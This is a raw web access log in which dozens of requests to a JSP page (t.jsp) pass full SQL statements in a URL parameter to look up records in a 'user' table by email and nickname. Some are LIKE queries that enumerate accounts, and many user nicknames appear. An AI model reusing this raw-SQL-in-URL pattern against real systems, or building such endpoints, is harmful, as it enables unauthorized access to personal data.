00:58:36.924 10.108.6.13#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:58:48.165 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:58:58.267 10.108.6.13#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:59:22.146 10.108.6.13#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:59:35.176 10.108.6.13#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
00:59:59.626 10.108.6.13#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:00:11.028 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:00:24.812 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:00:59.089 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:01:28.878 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:01:46.995 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:02:12.543 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:10:23.811 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:11:02.750 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:12:13.446 10.108.6.13#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:12:32.064 10.108.6.13#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:12:52.091 10.108.6.13#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:12:53.532 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:13:03.261 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:17:41.375 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
01:19:22.984 163.177.69.37#11#/autochina10/t.jsp#Mozilla/4.0#http://exhibitcar.tudou.com/t.jsp?s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
03:41:14.494 10.108.6.13#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
03:42:39.857 10.108.6.13#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
03:43:27.088 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
03:43:55.352 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
04:37:41.263 10.108.6.13#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:01:56.253 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:21:22.434 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:25:58.481 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:27:25.515 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:27:31.721 10.108.6.13#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:27:38.623 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:28:02.001 10.108.6.13#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:28:38.249 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:29:23.350 10.108.6.13#24#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:30:37.082 10.108.6.13#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:31:21.240 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:31:44.309 10.108.6.13#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:32:39.549 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:32:55.085 10.108.6.13#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:33:30.551 10.108.6.13#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:34:10.067 10.108.6.13#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:34:46.413 10.108.6.13#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:39:50.394 10.108.6.13#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
05:40:18.057 10.108.6.13#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
14:14:12.571 10.108.6.13#11#/autochina10/t.jsp#Mozilla/5.0 (Linux; U; Android 4.2.1; zh-cn; Coolpad 8736 Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:04:11.297 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:04:15.441 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:08:09.261 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:08:20.321 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%22fanxinghua@@youku.com%22
15:08:30.738 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:08:33.187 121.78.118.207#10#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:08:44.199 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:08:47.894 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:09:07.313 121.78.118.207#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:09:29.218 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%22%@youku.com%22%20limit%200,10
15:10:08.934 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:10:18.837 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:10:26.175 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:10:38.855 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:11:30.129 121.78.118.207#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:12:06.470 121.78.118.207#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:13:20.619 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:14:00.264 121.78.118.207#23#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:14:51.184 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:15:27.584 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:16:09.033 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:16:58.314 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:22:09.460 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:22:36.037 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:22:46.229 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:26:14.839 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
15:45:10.145 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20=%20%[email protected]%22
16:58:20.443 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%22youku%%22%20limit%200,10
17:06:36.493 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22EriGod%22
17:06:48.108 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22admin%22
17:07:07.143 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E7%94%98%E9%9C%B2_%E7%8E%84%E5%8C%96%22
17:07:34.460 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22iamsecure%22
17:08:06.625 121.78.118.207#23#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22kingsky%22
17:08:34.511 121.78.118.207#22#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22xiaostream%22
17:09:54.333 121.78.118.207#17#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E8%AF%B7%E4%BD%A0%E5%90%83%E6%9F%A0%E6%AA%AC%22
17:10:21.932 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E8%AF%B7%E4%BD%A0%E5%90%83%E6%9F%A0%E6%AA%AC%22
17:10:33.743 121.78.118.207#16#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20email%20like%20%[email protected]%22
17:10:54.969 121.78.118.207#31#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22Nightelf%22
17:11:26.890 121.78.118.207#25#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E5%9C%9F%E6%8B%A8%E5%85%88%E7%94%9F%22
17:11:47.165 121.78.118.207#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22yangming860101%22
17:13:04.540 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22kunkunr%22
17:13:53.074 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22astond%22
17:14:10.357 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22mebluxsand%22
17:14:11.861 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22mebluxsand%22
17:14:36.282 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22zhangyufeng008%22
17:14:48.067 121.78.118.207#23#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22beyond702%22
17:15:08.408 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22kevinlee525%22
17:15:43.692 121.78.118.207#43#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E7%90%89%E7%92%83%E4%B9%8B%E7%BF%BC%22
17:16:13.719 121.78.118.207#24#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E6%B4%AA%E5%B0%8F%E6%A0%91%22
17:16:50.589 121.78.118.207#15#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E5%B0%8F%E7%99%BD%E5%85%94%E5%A5%B6%E7%B3%96%22
17:17:02.940 121.78.118.207#26#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22ericlee%22
17:17:23.118 121.78.118.207#18#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22farrah%22
17:17:40.367 121.78.118.207#11#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22chiwell%22
17:18:13.523 121.78.118.207#22#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22wumingsx%22
17:18:34.630 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22FowlerZhang%22
17:19:06.182 121.78.118.207#20#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22dreamseeker%22
17:19:44.905 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22bjfuzzj%22
17:19:53.103 121.78.118.207#19#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22apchwin%22
17:21:05.414 121.78.118.207#13#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22calmhawk%22
17:21:35.891 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E8%B4%B0%E6%B7%B7%E5%AD%90%22
17:22:11.002 121.78.118.207#14#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E8%87%AA%E5%9C%A8%E7%9A%84%E8%90%9D%E5%8D%9C%22
17:22:34.088 121.78.118.207#12#/autochina10/t.jsp#Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36#null#s=select%20*%20from%20user%20where%20nickname=%22%E5%90%AD%E5%93%A7%E7%98%AA%E8%82%9A%22
